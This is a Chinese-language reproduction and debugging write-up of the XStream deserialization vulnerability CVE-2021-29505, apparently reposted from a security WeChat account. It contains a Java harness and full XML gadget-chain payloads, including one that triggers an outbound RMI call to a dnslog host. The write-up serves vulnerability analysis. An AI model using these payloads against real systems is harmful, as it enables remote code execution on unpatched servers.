《CVE-2021-29505:XStream反序列化命令执行漏洞复现》
因为要在本地调试,没必要再过一遍springboot
索性就直接写代码用Xstream解析poc
创建maven项目,引入XStream
直接主函数里定义xml调用Xstream解析poc
import com.thoughtworks.xstream.XStream;
public class Main {
public static void main(String[] args) {
String xml ="<sun.rmi.registry.RegistryImpl_Stub serialization="custom"> n" +
" <java.rmi.server.RemoteObject> n" +
" <string>UnicastRef</string> n" +
" <string>127.0.0.1</string> n" +
" <int>8001</int> n" +
" <long>0</long> n" +
" <int>0</int> n" +
" <long>0</long> n" +
" <short>0</short> n" +
" <boolean>false</boolean> n" +
" </java.rmi.server.RemoteObject> n" +
"</sun.rmi.registry.RegistryImpl_Stub>";
// write your code hereXStream xstream = new XStream();;
XStream xstream = new XStream();
xstream.fromXML(xml);
}
}
然后就可以开始愉快的调试了
参考大佬的经验总结,XStream产生漏洞的主要问题就在于:
XStream在处理实现了Serializable接口和没有实现Serializable接口的类生成的对象时,方法是不一样的
当处理此种类型的xml(即实现了Serializable接口的类)时,会调用到该类的readObject方法
贴上poc:
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
</default>
<int>3</int>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>12345</type>
<value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
<message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
<parsedMessage>true</parsedMessage>
<soapVersion>SOAP_11</soapVersion>
<bodyParts/>
<sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
<attachmentsInitialized>false</attachmentsInitialized>
<nullIter class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
<aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
<candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
<names>
<string>aa</string>
<string>aa</string>
</names>
<ctx>
<environment/>
<registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>75g7ep.dnslog.cn</string>
<int>1099</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</registry>
<host>75g7ep.dnslog.cn</host>
<port>1099</port>
</ctx>
</candidates>
</aliases>
</nullIter>
</sm>
</message>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
观察poc,可以看到入口点与CVE-2021-21344、CVE-2021-21345等相同为:java.util.PriorityQueue
经典的CommonCollections利用链中有几个就用到了PriorityQueue。在该类的readObject函数打下断点,调试执行
通过s.readObject();走到XStram中的readObjectOverride函数
然后在readFromStream方法中获取javax.naming.ldap.Rdn$RdnEntry()方法
对应xml中的相应节点
经过一些调试走过一系列的嵌套调用。来到调用JRMP的关键类sun.rmi.registry.RegistryImpl_Stub
同样在readObject函数打下断点。因为该类的readObject继承自爷爷类RemoteObject。在这里实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法
最终实际调用的代码如下最终在这里进行远程rmi调用
至此调试完成
简化版poc:
<sun.rmi.registry.RegistryImpl_Stub serialization="custom">
<java.rmi.server.RemoteObject>
<string>UnicastRef</string>
<string>127.0.0.1</string>
<int>8001</int>
<long>0</long>
<int>0</int>
<long>0</long>
<short>0</short>
<boolean>false</boolean>
</java.rmi.server.RemoteObject>
</sun.rmi.registry.RegistryImpl_Stub>
经过调试分析,简化版poc的调用方式就是直入关键类
sun.rmi.registry.RegistryImpl_Stub跳过了一大段的嵌套调用
参考链接:
https://paper.seebug.org/1543/
https://x-stream.github.io/CVE-2021-29505.html
https://mp.weixin.qq.com/s/jWa6SW3PfVsZ5Qzlmx_2EQ
本文始发于微信公众号(Timeline Sec):【漏洞分析】XStream反序列化漏洞(CVE-2021-29505)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论